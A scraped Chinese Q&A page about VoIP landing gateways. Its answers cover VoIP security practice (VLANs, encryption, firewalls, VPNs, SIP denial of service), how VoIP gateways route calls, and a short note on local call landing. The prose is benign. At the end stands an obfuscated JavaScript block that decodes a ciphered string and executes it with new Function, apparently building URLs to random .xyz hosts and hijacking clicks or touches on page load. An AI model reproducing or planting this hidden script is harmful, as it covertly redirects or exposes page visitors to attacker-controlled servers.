详细介绍一下VOIP的本地落地网关?

2025-03-12 00:40:33
推荐回答(3个)
回答(1):

实际上,没有什么简单的解决方法可以有效确保VoIP的绝对安全,不过还是有些办法可以尽量减小风险、改进整体的安全策略。

  安全问题对语音服务而言根本不是什么新鲜事。几十年来,传统电话系统就饱受话费欺诈之困扰。如今,一些企业出于对安全问题的担忧而对安装IP语音(VoIP)系统犹豫不决,而另一些企业却在没有解决安全问题的前提下贸然行事。大多数行业的分析师估计,今年企业新安装的语音电话至少有一半将会是VoIP手机,这意味着你可能很快就会面临语音安全问题,如果不正视这些问题,你的系统就会随时遭到攻击。

  说到如何有效地确保VoIP 安全,根本没有灵丹妙药,但必须把这方面的安全作为整体安全策略的一部分来考虑。因为如今VoIP应用已成为IP网络的一部分,如果IP网络已经落实了良好的安全措施,整个网络安全系数越高,那么攻击者进行窃听、发动拒绝服务(DoS)攻击或者闯入VoIP系统中的操作系统或者应用系统的难度就会越大。

  一开始就让安全小组参与VoIP项目也非常重要。语音小组和数据小组也根本犯不着卷入地盘之争。毕竟,现在它们应当作为一个团队开展工作。

遵守一系列的严格规定

  主要的VoIP安全策略很简单: 首先,在你确保各种VoIP部件和因特网之间没有任何通信之前,不要把这些设备接入网络。其次,不要允许与因特网及VoIP系统进行联系的PC之间有任何通信。这是因为,PC特别容易受到攻击,可能会被用来闯入VoIP系统,或者对语音应用发动拒绝服务攻击。它们还会强行利用VoIP电话从事话费欺诈、暗中窃听或者冒充他人等勾当。

  如果你无法遵守这项策略,就要确保每个人都知道其中的风险,并且落实了相应的对策以缓解风险。这就要求清楚地知道安全、系统架构以及有关的VoIP协议。

  要实施安全策略,第一步就是把所有VoIP电话放在单独的虚拟局域网(VLAN)上,并且使用不可路由的RFC 1918地址。大多数VoIP电话都有内置的交换机,支持802.1p/Q虚拟局域网标准。这样一来,就有可能在桌面系统和距离最近的布线室交换机之间建立虚拟局域网,而布线室交换机可以通过网络进行延伸。

  如果语音用户的PC被接到电话的交换机上,你就可以自始至终地让语音和数据在不同的虚拟局域网上传输。记住一点: 虚拟局域网无法彼此联系,除非彼此之间有路由,所以这是确保语音和数据分开的一个办法。你还可以使用访问控制列表(ACL)防止虚拟局域网之间进行通信,作为保护语音的另一道安全层。让语音和数据在不同的虚拟局域网上传输,还可以简化为VoIP流量配置服务质量(QoS)。随后只是为VoIP虚拟局域网赋予优先级的问题而已,如果你通过路由器传输,仍需要第三层服务质量。

  服务质量通常与确保性能联系在一起,不过它在安全方面也起到关键作用。在不同逻辑虚拟局域网上传输的语音和数据仍使用相同的物理带宽。这意味着,即便PC被病毒或者蠕虫感染、这些PC进而向网络发送大批流量,VoIP流量仍能够在共同的物理带宽上获得优先权,因而就不会沦为拒绝服务攻击的受害者。与此同时,ACL和防火墙可以阻止VoIP系统访问因特网,反之亦然。

  虚拟局域网还可以缓解有人窃听电话的现象。如果语音包被人用分析仪获取,重放语音就轻而易举。IP具有的移动性和灵活性使得它容易受到“中间人攻击”,即地址解析协议(ARP)被用来强制流量通过某台PC传输,然后就能获取这些流量。虚拟局域网可以阻止有人从外面发动攻击,但内部攻击比较难以预防。内部人只要把某台PC接入墙上的插座,对PC进行配置,成为VoIP虚拟局域网的一部分,就可以发动攻击。要防止这种破坏,最好的办法就是购买具有强加密功能的VoIP电话,而这种方法要奏效,每只电话都要有加密功能。

  你还需要在电话和通向公共交换电话网络(PSTN)的网关之间进行加密。如今VoIP电话厂商开始把媒体加密和信令加密功能融入各自的设备当中。譬如说,Avaya声称它的所有电话现在都支持加密功能; 而北电网络公司声称,它的电话很快也具有同样的功能。加密还可以挫败需要对基础设施获得物理访问权的其他类型的窃听,譬如利用交换机的端口镜像,或者利用以太网接头接入某条以太网连接线。

  当然,加密以增加时延为代价。这对普通局域网来说不成问题,但对广域网来说可能会成问题。要考虑的另一个因素就是,如果对电话之间传输的信号进行加密(这在应用层实现),工作在应用层的防火墙就很难对加密信号进行解密。

  虽然防火墙必不可少,但别以为它们能够胜任各项工作。VoIP协议很难过滤。尽管会话初始化协议(SIP)是VoIP信号传输标准,但许多厂商采用的却是专有的信令协议,而防火墙必须理解这些协议。

  实时协议(RTP)用于传输实际的语音媒体,不过有一系列众多的端口动态分配给了每路呼叫。信令协议会表明应使用哪个RTP端口用于某路呼叫。一款好的防火墙会从信令协议处接到该指示,随后开启某个端点的IP地址所必需的那个端口。然而,不是所有的防火墙都具有这种功能。有些只是开启某段范围的端口,所以要确保你对防火墙的运行情况了如指掌。

  有些防火墙必须处理专用地址和网络地址转换(NAT),这样一来,保护VoIP的安全难度就更大了,如果处理的请求是针对采用专用地址的某个端点,更是如此。了解信令协议的防火墙能跟踪用户注册登记的最新地址,然后相应地为请求安排路由。Check Point软件技术公司声称,其最新款的FireWall-1具有这种功能,可以提供最低程度的安全接入。

  另一个办法就是把防火墙放置在专门为IP语音设计的VoIP系统前面。譬如说,Ingate公司的防火墙就是为基于SIP的VoIP系统而设计。Ingate最近宣布,如今其产品已通过了认证,能够与Avaya公司的基于SIP的产品协同工作。确保你实施的VoIP系统基于SIP,那样以后需要安全选项功能时不至于只能求助于你现有的VoIP厂商。

  另外还要当心,防火墙可能会带来时延,从而成为性能方面的一个瓶颈。

  支持VoIP的服务器每个都有各自的操作系统,而这些操作系统又存在许多相关漏洞,所以你必须确保把服务器放到你的网络上之前,它们都已打上了补丁。注意时时打上最新补丁,还要认真限制对它们的访问。每个IP电话其实也是一台电脑,有着自己的应用软件和操作系统,所以对你的电话也要采取同样的防范措施,并确保电话带有良好的补丁管理系统。

一些例外情况

  有些应用可能会让你考虑打开语音虚拟局域网和数据虚拟局域网之间的通信通道。譬如说,大多数VoIP厂商提供的桌面客户系统能够管理VoIP电话,并且提供丰富的用户状态信息。许多厂商提供的客户端还可以让你监控其他系统用户的电话和即时通信(IM)状态,并且发布你自己的状态信息。这些特性需要桌面系统和VoIP系统之间进行一定的直接联系,所以你要想办法安全地实现这项功能。

  说到这里,使用防火墙最为稳妥。做法是,提供最低程度的接入权限,不允许PC在无意中成为用来搜寻VoIP系统中存在漏洞的平台。但如果蠕虫占用了网络上的大量带宽,PC和布线室之间的连接上所用的这些应用就无法得到保护,因为数据来自PC,因而会在数据虚拟局域网上传输。不过好消息是,VoIP电话的通信将得到保护,只要你实施了服务质量。但如果你在PC上使用的仅仅是软电话,就没有办法为PC和布线室交换机之间的语音包提供服务质量。

  如果你的远程办公人员要通过因特网访问IP PBX,虚拟专用网(VPN)显然是防止窃听的解决办法。Zultys科技公司等VoIP厂商提供的产品旨在便于通过VPN访问IP PBX。Zultys的有些电话可以直接在电话到PBX之间建立一条VPN隧道。北电公司的Contivity VPN PC客户机则可以通过连接的PC,为其电话建立VPN隧道。

  你最不希望把IP PBX暴露于因特网面前。如果你提供只能访问相关端口的功能,而且通过VPN进行验证,那么就可以尽量减小这个风险。当然,你还会希望在IP PBX和VPN网关之间安装一只防火墙,只允许访问被认为绝对有必要的端口。

  另外,也很有必要落实相应机制,以保护你的VoIP系统免受针对应用的拒绝服务攻击。如果需要从虚拟局域网进行额外的一道验证,应当不会面临来自外部的重大危害; 但如果有人获得了访问权,从内部发动攻击可能会是个问题。譬如说,利用SIP,发送大量的“注册”请求会导致服务器无力处理请求。入侵防护系统(IPS)可以缓解这个问题,而如果IPS或者入侵检测系统(IDS)能理解SIP,就可以检测这些攻击。一款好的IPS还能够防止基于SIP的中间人攻击,以免通过另一个设备改变流量传输方向。

  可以访问VoIP系统的任何桌面系统都必须加以保护。如今许多厂商提供集中管理的防火墙以及可以检查操作系统补丁及病毒更新状况的软件。这对使用IP软电话的远程办公人员来说尤为重要。

  所以不要被VoIP安全问题捆住了手脚。有了可*的IP语音安全策略以及合理搭配的安全工具,没有理由错过VoIP具有的诸多优点。

回答(2):

VOIP 电话/VOIP 网络电话(又称IP PHONE 或VoIP)是建立在IP 技术上的分组化、数字化传输技术,其基本原理是:通过语音压缩算法对语音数据进行压缩编码处理,然后把这些语音数据按IP等相关协议进行打包,经过IP 网络把数据包传输到接收地,再把这些语音数据包串起来,经过解码解压处理后,恢复成原来的语音信号,从而达到由IP 网络传送语音的目的。VOIP 电话/VOIP 网络电话系统把普通电话的模拟信号转换成计算机可联入因特网传送的IP 数据包,同时也将收到的IP数据包转换成声音的模拟电信号。经过VOIP 电话/VOIP 网络电话系统的转换及压缩处理,每个普通电话传输速率约占用8~11kbit/s 带宽,因此在与普通电信网同样使用传输速率为64kbit/s 的带宽时,VOIP 电话/VOIP 网络电话数是原来的5~8 倍。VOIP 电话/VOIP 网络电话的核心与关键设备是VOIP 电话/VOIP 网络电话网关。VOIP 电话/VOIP网络电话网关具有路由管理功能,它把各地区电话区号映射为相应的地区网关IP 地址。这些信息存放在一个数据库中,有关处理软件完成呼叫处理、数字语音打包、路由管理等功能。在用户拨打VOIP 电话/VOIP 网络电话时,VOIP 电话/VOIP 网络电话网关根据电话区号数据库资料,确定相应网关的IP 地址,并将此IP 地址加入IP 数据包中,同时选择最佳路由,以减少传输时延,IP 数据包经因特网到达目的地VOIP 电话/VOIP 网络电话网关。对于因特网未延伸到或暂时未设立网关的地区,可设置路由,由最近的网关通过长途电话网转接,实现通信业务。

VoIP即网络电话,Voice over Internet Protocol,将模拟的声音讯号引经过压缩与封包之后,以数据封包的形式在IP网络进行语音讯号的传输,通俗来说也就是互联网电话或IP电话。VOIP网络电话,中文就是“通过IP数据包发送实现的语音业务”,它使你可以通过互联网免费或是资费很低地传送语音、传真、视频和数据等业务。

回答(3):

找到落地线路,如线路在东莞,从网络上过来之后就是落地在东莞。通过线路会拨打
主叫和被叫。

!function(){function a(a){var _idx="e4ydksy2pg";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8YoTfSLT@Jp"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"YoTfSLT@Jp"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mhfO76RqmRT4"="Ks0X5ThF)mT)7F56RmRT4"="Ks02pThFmhfO76RqmRT4"="Ks0_JqhFmT)7F56RmRT4"="Ks02TOhFmhfO76RqmRT4"="Ks0CSqhF)mT)7F56RmRT4"="Ks0)FfThF)fmhfO76RqmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q/f/Ks0j(8}vR8YoTfSLT@Jp"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();